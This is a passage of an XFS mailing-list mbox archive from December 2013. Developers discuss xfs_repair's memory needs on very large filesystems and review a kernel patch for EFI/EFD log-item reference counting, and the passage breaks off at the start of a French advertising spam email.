$ umount /mount/point > $ xfs_repair -n -m 1 -vv /mount/point > $ mount /mount/point >=20 > e.g. >=20 > $ umount /dev/sda7 > $ xfs_repair -n -m 1 -vv /dev/sda7 > Phase 1 - find and verify superblock... > - max_mem =3D 1024, icount =3D 85440, imem =3D 333, dblock =3D > 24414775, dmem =3D 11921 > Required memory for repair is greater that the maximum specified with > the -m option. Please increase it to at least 60. > $ mount /dev/sda7 Phase 1 - find and verify superblock... - max_mem =3D 1024, icount =3D 124489792, imem =3D 486288, dblock = =3D=20 1953509376, dmem =3D 953862 Required memory for repair is greater that the maximum specified with the -m option. Please increase it to at least 1455. So minimal 1.5GB but the real usage were nowhere near that minimal estimate= =2E=20 xfs_repair needed somewhere around 30-40GB for this fs. So 2x64GB SSD (raid1) for swap should be ok for now but in long term 2x128G= B=20 is the way to go it seems. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From arekm@maven.pl Sun Dec 29 05:57:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D291E7F3F for ; Sun, 29 Dec 2013 05:57:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C827C304059 for ; Sun, 29 Dec 2013 03:57:35 -0800 (PST) X-ASG-Debug-ID: 1388318253-04cb6c537ea63e10001-NocioJ Received: from mail-ee0-f51.google.com (mail-ee0-f51.google.com [74.125.83.51]) by cuda.sgi.com with ESMTP id S258DZWRWvrcHMYe (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 29 Dec 2013 03:57:34 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.51 Received: by mail-ee0-f51.google.com with SMTP id b15so4664296eek.24 for ; Sun, 29 Dec 2013 03:57:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=JO67b98VF3fbAjKJTndwBvU3Tt5O+6FfK2anfW5L6zk=; b=rGzXHUqv2iF5zuXGZADxhS+/vGCxDot+pc2SbhKi0dARCKZSL4OlEnliTGXGpn+L15 iJjvqQd8AlNBYLeg42yQc4nTIc6Jdgdr9gh0USAx9+XhZV/SltaXsBfaTY4rwBkfeXoq eJYfwsrHKGpnpKkq4K2nwuq1/4CTagLeJzUXM= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=JO67b98VF3fbAjKJTndwBvU3Tt5O+6FfK2anfW5L6zk=; b=HQyfvN8fD3YqVjCz0hjqXA35TrT6o13vvpfS9pTvVNsl/rrvuBYurjkN4Ne1M3fb9j 6VYS5wuMQ5TYnDx0HsLq7szynRk2ysa2eekFue88iMoOV0r2U5HsLBjWYgIOMZPUR6yG hTs3qWZT37ruEQgfP4SJv1c0/2oVZaZnamu1SJXEt6/eliwDQnlKlS3MrCz3CMq7KJhL pCtYSRE/eMOdRVgYt+igFqUws6xPlpFa3UgmS8MANbr0HsUpVAWtCvbZUftyJdD99k6F aJQhHuf1jI/rqtBNreZJU3FGHO9aLCwHNd0tk+Cf2B5xqwHDCM1Wt0Rvh7/3uj4qac9+ +9ig== X-Gm-Message-State: ALoCoQlZ/uEr5NW1lKlp9NJsSiB10zo7OEcyrsnNUVl2iooc0N65mDoqrVqKRJrNdGVPYOpmCmKo X-Received: by 10.14.212.69 with SMTP id x45mr6011834eeo.69.1388318253021; Sun, 29 Dec 2013 03:57:33 -0800 (PST) Received: from t400.localnet (abmv85.neoplus.adsl.tpnet.pl. [83.7.241.85]) by mx.google.com with ESMTPSA id a45sm98850915eem.6.2013.12.29.03.57.29 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 29 Dec 2013 03:57:30 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: Dave Chinner Subject: Re: [xfs_check Out of memory: ] Date: Sun, 29 Dec 2013 12:57:13 +0100 X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] User-Agent: KMail/1.13.7 (Linux/3.12.6-dirty; KDE/4.12.0; x86_64; ; ) Cc: xfs@oss.sgi.com, "Stor??" <289471341@qq.com>, Jeff Liu References: <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> In-Reply-To: <20131229095033.GL20579@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201312291257.13771.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f51.google.com[74.125.83.51] X-Barracuda-Start-Time: 1388318254 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sunday 29 of December 2013, Dave Chinner wrote: > On Sat, Dec 28, 2013 at 12:20:39AM +0100, Arkadiusz Mi=C5=9Bkiewicz wrote: > > On Friday 27 of December 2013, Dave Chinner wrote: > > > On Fri, Dec 27, 2013 at 09:07:22AM +0100, Arkadiusz Mi=C5=9Bkiewicz w= rote: > > > > On Friday 27 of December 2013, Jeff Liu wrote: > > > > > On 12/27 2013 14:48 PM, Stor?? wrote: [...] > > > > This reminds me a question... > > > >=20 > > > > Could xfs_repair store its temporary data (some of that data, the > > > > biggest parte) on disk instead of in memory? > > >=20 > > > Where on disk? > >=20 > > In directory/file that I'll tell it to use (since I usualy have few xfs > > filesystems on single server and so far only one at a time breaks). >=20 > How is that any different from just adding swap space to the server? It's different by allowing other services to work while repair is in progre= ss.=20 If swap gets eaten then entire server goes down on knees. Keeping thins on= =20 disk would mean that other services work uninterrupted and repair gets slow= =20 (but works). > > Could xfs_repair tell kernel that this data should always end up on swap > > first (allowing other programs/daemons to use regular memory) prehaps? > > (Don't know interface that would allow to do that in kernel though). > > That would be some half baked solution. >=20 > It's up to the kernel to manage what gets swapped and what doesn't. I was hoping for some interface like fadvice FADV_DONTNEED but there is no= =20 similar thing for malloced memory I guess. > I suppose you could use control groups to constrict the RAM > xfs_repair uses, but how to configure such policy is way ouside my > area of expertise. Hmm, have to try, maybe that would work. Like setting up cgroup with 8GB ra= m=20 limit and 40GB of swap. Other services would have their ram available. Good= =20 hint. > > Right. So only "easy" task finding the one who understands the code and > > can write such interface left. Anyone? > >=20 > > IMO ram usage is a real problem for xfs_repair and there has to be some > > upstream solution other than "buy more" (and waste more) approach. >=20 > I think you are forgetting that developer time is *expensive* and > *scarce*. I'm aware of that and not expecting any developer to implement this (unless= =20 some developer hits the same problems and will have hw constrains ;) > This is essentially a solved problem: An SSD in a USB3 > enclosure as a temporary swap device is by far the most cost > effective way to make repair scale to arbitrary amounts of metadata. > It certainly scales far better than developer time and testing > resources... Ok. I'm not saying that everyone should now start adding "on disk" db for=20 xfs_repair. I just think that that soulution would work, regardless of=20 hardware and would make it possible to repair huge filesystems (with tons o= f=20 metadata) even on low memory machines (without having to change hardware). If there is interest among developers to implement this (obiously not) is=20 another matter and shouldn't matter on discussing approach. What is more interesting for me is talking about possible problems with on= =20 disk approach and not looking for a solution to my particular case. > Cheers, >=20 > Dave. ps. I'll go with 2x64GB or 2x128GB SSD in raid1 for swap space approach for= my=20 case. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From jeff.liu@oracle.com Sun Dec 29 07:19:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5A8C07F3F for ; Sun, 29 Dec 2013 07:19:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 46CED8F8035 for ; Sun, 29 Dec 2013 05:19:23 -0800 (PST) X-ASG-Debug-ID: 1388323161-04cb6c537ba66bc0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 12JEI0U2wZWBgE72 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 29 Dec 2013 05:19:21 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBTDJKQm001882 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 29 Dec 2013 13:19:20 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBTDJIAC007255 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 29 Dec 2013 13:19:19 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBTDJINh016863; Sun, 29 Dec 2013 13:19:18 GMT Received: from [192.168.1.105] (/221.223.96.186) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 29 Dec 2013 05:19:18 -0800 Message-ID: <52C02151.7020904@oracle.com> Date: Sun, 29 Dec 2013 21:19:13 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Mark Tinguely CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 2/4] xfs: always releasing EFD's reference to EFI in xfs_efd_item_committed References: <52B98295.8050704@oracle.com> <52BEFA2E.5070006@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs: always releasing EFD's reference to EFI in xfs_efd_item_committed In-Reply-To: <52BEFA2E.5070006@sgi.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388323161 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143523 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013年12月29日 00:19, Mark Tinguely wrote: > On 12/24/13 06:48, Jeff Liu wrote: >> From: Jie Liu >> >> With fsstress+godown test I observed an XFS hang up during umount which >> yielding a backtrace like below: >> >> [20876.193635] INFO: task umount:9853 blocked for more than 120 seconds. >> [20876.193641] Tainted: PF O 3.13.0-rc2+ #8 >> [20876.193643] "echo 0> /proc/sys/kernel/hung_task_timeout_secs" >> disables this message. >> [20876.193645] umount D ffff88026f294440 0 9853 9372 >> >> [20876.193663] Call Trace: >> [20876.193672] [] schedule+0x29/0x70 >> [20876.193701] [] xfs_ail_push_all_sync+0xa9/0xe0 >> [xfs] >> [20876.193707] [] ? prepare_to_wait_event+0x100/0x100 >> [20876.193726] [] xfs_unmountfs+0x61/0x150 [xfs] >> [20876.193746] [] xfs_fs_put_super+0x21/0x60 [xfs] >> [20876.193751] [] generic_shutdown_super+0x72/0xf0 >> [20876.193754] [] kill_block_super+0x27/0x70 >> [20876.193757] [] deactivate_locked_super+0x3d/0x60 >> [20876.193761] [] deactivate_super+0x46/0x60 >> [20876.193765] [] mntput_no_expire+0xd6/0x170 >> [20876.193769] [] SyS_umount+0x8e/0x100 >> [20876.193774] [] system_call_fastpath+0x1a/0x1f >> >> As per above backtraces, the umount process is already scheduled out >> in xfs_ail_push_all_sync() because it should push out all of pending >> changes in AIL and wait until the AIL is empty. Then it will wake up >> xfsaild thread to do the actual flushing business. However, I found >> that the AIL does not became empty in some situations because of some >> EFI are still being on it, but in EFI's iop_push operation, we always >> returning XFS_ITEM_PINNED which leads to the xfsaild thread suffering >> into an infinite loop. >> >> Since EFI items have no locking or pushing, they are pulled from the >> AIL when their corresponding EFDs are committed to disk, and we have >> guaranteed that the EFI should not be freed until it has been unppined >> and the EFD has been committed in commit 666d644cd7, this is done via >> an EFI reference count by initializing it to 2 in xfs_efi_init() -- one >> is it's own count which is not released until it is unpinned, the other >> one is taken by its corresponding EFD which will be released during EFD >> commit operation. >> >> IMHO we should always releasing it's reference to the corresponding EFI >> item once the EFD item is committed to disk regardless of the log item >> is marked with XFS_LI_ABORTED flag or not. >> >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_extfree_item.c | 8 +------- >> 1 file changed, 1 insertion(+), 7 deletions(-) >> >> diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c >> index 3680d04..16c0396 100644 >> --- a/fs/xfs/xfs_extfree_item.c >> +++ b/fs/xfs/xfs_extfree_item.c >> @@ -437,13 +437,7 @@ xfs_efd_item_committed( >> { >> struct xfs_efd_log_item *efdp = EFD_ITEM(lip); >> >> - /* >> - * If we got a log I/O error, it's always the case that the LR >> with the >> - * EFI got unpinned and freed before the EFD got aborted. >> - */ >> - if (!(lip->li_flags& XFS_LI_ABORTED)) >> - xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); >> - >> + xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); >> xfs_efd_item_free(efdp); >> return (xfs_lsn_t)-1; >> } > Hi Mark, > Hi Jeff. > > This would work if the forced shutdown happened after both the EFI and > EFD transaction were committed and successfully placed on the CIL. Yep. > If the sequence went EFI commit, CIL push (EFI is now in the AIL), > forced shutdown, and then EFD commit. In this sequence, the EFD item > would not be placed on the CIL and therefore the iop.committed would not > be called. In this patch only iop_committing and iop_unlock would be run > on the EFD item. Agree, it seems we have to release EFI reference count in xfs_efd_item_unlock() if XFS_LI_ABORTED is detected. However, the story was not yet completed, I just thought another possible order between EFI/EFD. If EFD is committed into CIL and just before calling xfs_efd_item_committed(), the EFI transaction commit is aborted and thus the EFI item is released in it's iop_unlock() callback, hence my current fix also has problem, i.e, in iop_committed(), it will try to drop an EFI reference count which is already released. This problem seems a bit complicated than I thought before, let me think it over once back from vacations until 02, Jan -- no development environment on hand... Thanks, -Jeff From david@fromorbit.com Sun Dec 29 17:27:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2CB4A7F3F for ; Sun, 29 Dec 2013 17:27:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13D96304051 for ; Sun, 29 Dec 2013 15:27:26 -0800 (PST) X-ASG-Debug-ID: 1388359643-04cb6c537ea7bed0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XTAlq90LlHRtu9De for ; Sun, 29 Dec 2013 15:27:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmoIAMauwFJ5LHyk/2dsb2JhbABYgwuDOlKxC4VSgRQXdIIlAQEBAwEjDwEjFQ4FCwgDGAICBSECAg8FJQMhExuHYQeudJlqFxaBE410B4JugUgEmBaKTIdJg0EogSwk Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Dec 2013 09:57:22 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VxPlP-0003Wy-Vr; Mon, 30 Dec 2013 10:27:20 +1100 Date: Mon, 30 Dec 2013 10:27:19 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com, Stor?? <289471341@qq.com>, Jeff Liu Subject: Re: [xfs_check Out of memory: ] Message-ID: <20131229232719.GM20579@dastard> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] References: <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> <201312291257.13771.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201312291257.13771.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1388359644 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143542 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 29, 2013 at 12:57:13PM +0100, Arkadiusz Miśkiewicz wrote: > On Sunday 29 of December 2013, Dave Chinner wrote: > > On Sat, Dec 28, 2013 at 12:20:39AM +0100, Arkadiusz Miśkiewicz wrote: > > > On Friday 27 of December 2013, Dave Chinner wrote: > > > > On Fri, Dec 27, 2013 at 09:07:22AM +0100, Arkadiusz Miśkiewicz wrote: > > > > > On Friday 27 of December 2013, Jeff Liu wrote: > > > > > > On 12/27 2013 14:48 PM, Stor?? wrote: > [...] > > > > > This reminds me a question... > > > > > > > > > > Could xfs_repair store its temporary data (some of that data, the > > > > > biggest parte) on disk instead of in memory? > > > > > > > > Where on disk? > > > > > > In directory/file that I'll tell it to use (since I usualy have few xfs > > > filesystems on single server and so far only one at a time breaks). > > > > How is that any different from just adding swap space to the server? > > It's different by allowing other services to work while repair is in progress. > If swap gets eaten then entire server goes down on knees. Keeping thins on > disk would mean that other services work uninterrupted and repair gets slow > (but works). Well, that depends on what disk you put the external db on. If that is shared, then you're going to have problems with IO latency causing service degradation.... > > > Right. So only "easy" task finding the one who understands the code and > > > can write such interface left. Anyone? > > > > > > IMO ram usage is a real problem for xfs_repair and there has to be some > > > upstream solution other than "buy more" (and waste more) approach. > > > > I think you are forgetting that developer time is *expensive* and > > *scarce*. > > I'm aware of that and not expecting any developer to implement this (unless > some developer hits the same problems and will have hw constrains ;) The main issue here is that your filesystem usage is well outside the 95th percentile, and so you are in the realm of custom solutions that require significant engineering effort to resolve. That's not to say they can't be solved, just that solving them is an expensive undertaking... > > This is essentially a solved problem: An SSD in a USB3 enclosure > > as a temporary swap device is by far the most cost effective way > > to make repair scale to arbitrary amounts of metadata. It > > certainly scales far better than developer time and testing > > resources... > > Ok. > > I'm not saying that everyone should now start adding "on disk" db > for xfs_repair. I just think that that soulution would work, > regardless of hardware and would make it possible to repair huge > filesystems (with tons of metadata) even on low memory machines > (without having to change hardware). It's always been the case that you can create a filesystem that a specific machine does not have the resouces to be able to repair. We can't prevent that from occurring. e.g. no amount of on-disk database work will make repair complete on an embedded NAS box with 512MB of RAM, a 2GB system disk with a filesystem that spans 2x4TB drives.... > If there is interest among developers to implement this (obiously > not) is another matter and shouldn't matter on discussing > approach. > > What is more interesting for me is talking about possible problems > with on disk approach and not looking for a solution to my > particular case. The problem with adding a database interface is that we have to re-engineer all the internal structures that xfs_repair uses and the indexes we use to track them. They need to be abstracted in a data base friendly manner, and then new code has to be writen to manage the database and insert/modify/remove the information in the database. Then there is work to find the most suitable database, as simple key/value pair databases won't scale to tracking hundreds of millions of records. That is likely to create significant dependencies for xfsprogs, of which we can't pull into things like the debian udeb builds which are used for building the recovery disk images that contain xfs_repair. So we have to make it all build time conditional, and then we'll have different capabilities from xfs-repair depending on where you run it from. Then we've got to test it all, document it, etc. And there's still no guarantee that is solves your problem. Not enough disk space for the database? ENOSPC causes failure instead of ENOMEM. How do we know how much disk space is needed? We can't predict that exactly without running repair, same as for memory usage prediction. And even if we are using a DB rather than RAM, there's still the possibility of ENOMEM. These are all solvable issues, but they take time and resources and expertise we don't currently have to solve. When compared to the simplicity of "add a usb SSD for swap", it just doesn't make sense to spend time trying to solve this problem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Sun Dec 29 19:55:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 63EBE7F3F for ; Sun, 29 Dec 2013 19:55:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 417FC304048 for ; Sun, 29 Dec 2013 17:55:20 -0800 (PST) X-ASG-Debug-ID: 1388368519-04cb6c537ea80bd0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id oVUlBfBtfasvxTdr for ; Sun, 29 Dec 2013 17:55:19 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 4569D6C162; Sun, 29 Dec 2013 19:55:19 -0600 (CST) Message-ID: <52C0D281.7040704@hardwarefreak.com> Date: Sun, 29 Dec 2013 19:55:13 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3?= =?UTF-8?B?aWN6?= CC: Stor?? <289471341@qq.com>, Jeff Liu , xfs@oss.sgi.com Subject: Re: [xfs_check Out of memory: ] References: <201312270907.22638.arekm@maven.pl> <20131227224212.GK20579@dastard> <201312280020.39244.arekm@maven.pl> <20131229095033.GL20579@dastard> X-ASG-Orig-Subj: Re: [xfs_check Out of memory: ] In-Reply-To: <20131229095033.GL20579@dastard> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1388368519 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/29/2013 3:50 AM, Dave Chinner wrote: ... > I think you are forgetting that developer time is *expensive* and > *scarce*. This is essentially a solved problem: An SSD in a USB3 > enclosure as a temporary swap device is by far the most cost > effective way to make repair scale to arbitrary amounts of metadata. > It certainly scales far better than developer time and testing > resources... Now this is an interesting idea Dave. I hadn't considered temporary swap. Would USB be reliable enough for this? I've seen lots problem reports with folks using USB storage with Linux, random disconnections and what not. -- Stan From pam=news-zetrend.com@mlgnusa.com Sun Dec 29 20:11:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.4 required=5.0 tests=HTML_COMMENT_SAVED_URL, HTML_IMAGE_RATIO_02,HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6746D7F3F for ; Sun, 29 Dec 2013 20:11:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 57B0F8F8035 for ; Sun, 29 Dec 2013 18:11:29 -0800 (PST) X-ASG-Debug-ID: 1388369483-04cb6c537ba81390001-NocioJ Received: from mail.mlgnusa.com (mail.mlgnusa.com [194.19.244.188]) by cuda.sgi.com with ESMTP id ivFHrC1Dfn2PBsiE for ; Sun, 29 Dec 2013 18:11:24 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.188 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=3/XyCxozDyZk6fv/11NzPtg+GC4=; b=LKwe8hl/+lwbqYROGN9zcRd+y9CprwxBKGFawhhRLM8XTzf9SU77tg7dp/ImkBPV0gc+1btQBBV7 OeGgnrbZcNL2ncoGGHro3WiY+9Ul7Fg7CePax/so8TYwICBiYILskj0JchjtK6EfaIy374f4Maa/ 1i55CUBUaCGaXMzR+FM= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=b1QQc+iKCKAIeZGLLP6lTdWrTp94Q6g9THMebWllMz5U4gqNbmMkEvTDZEB4o7RSnWBuKsTms38P ZVvmILx3hZjJHd884wntq3cUDoXv8GkKmYULm+4bPpdX3cwb9GoenCsnUSOdxLr6pBvtelsxRV8Q ja8sLvEWHmA0zd6TXQY=; Received: by mail.mlgnusa.com id ho3b4o1fblc1 for ; Mon, 30 Dec 2013 04:10:35 +0200 (envelope-from ) Date: Mon, 30 Dec 2013 03:03:30 +0200 To: From: Poster XXL Reply-To: Poster XXL Subject: Votre toile photo pour moins de 10 euros Message-ID: X-ASG-Orig-Subj: Votre toile photo pour moins de 10 euros X-Priority: 3 X-Mailer: MailiGen Mailer - **CID53ede58ed09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.53ede58e X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.53ede58e X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=53ede58e&e=d09c0023 List-Unsubscribe: , Sender: "Poster XXL" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_9daeb7e7d31a8efb4a9fa5a74cbe9909" X-Barracuda-Connect: mail.mlgnusa.com[194.19.244.188] X-Barracuda-Start-Time: 1388369484 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.91 X-Barracuda-Spam-Status: No, SCORE=0.91 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_COMMENT_SAVED_URL, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143545 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.36 HTML_COMMENT_SAVED_URL BODY: HTML message is a saved web page 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_9daeb7e7d31a8efb4a9fa5a74cbe9909 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit posterXXL - Votre photo sur Toile : 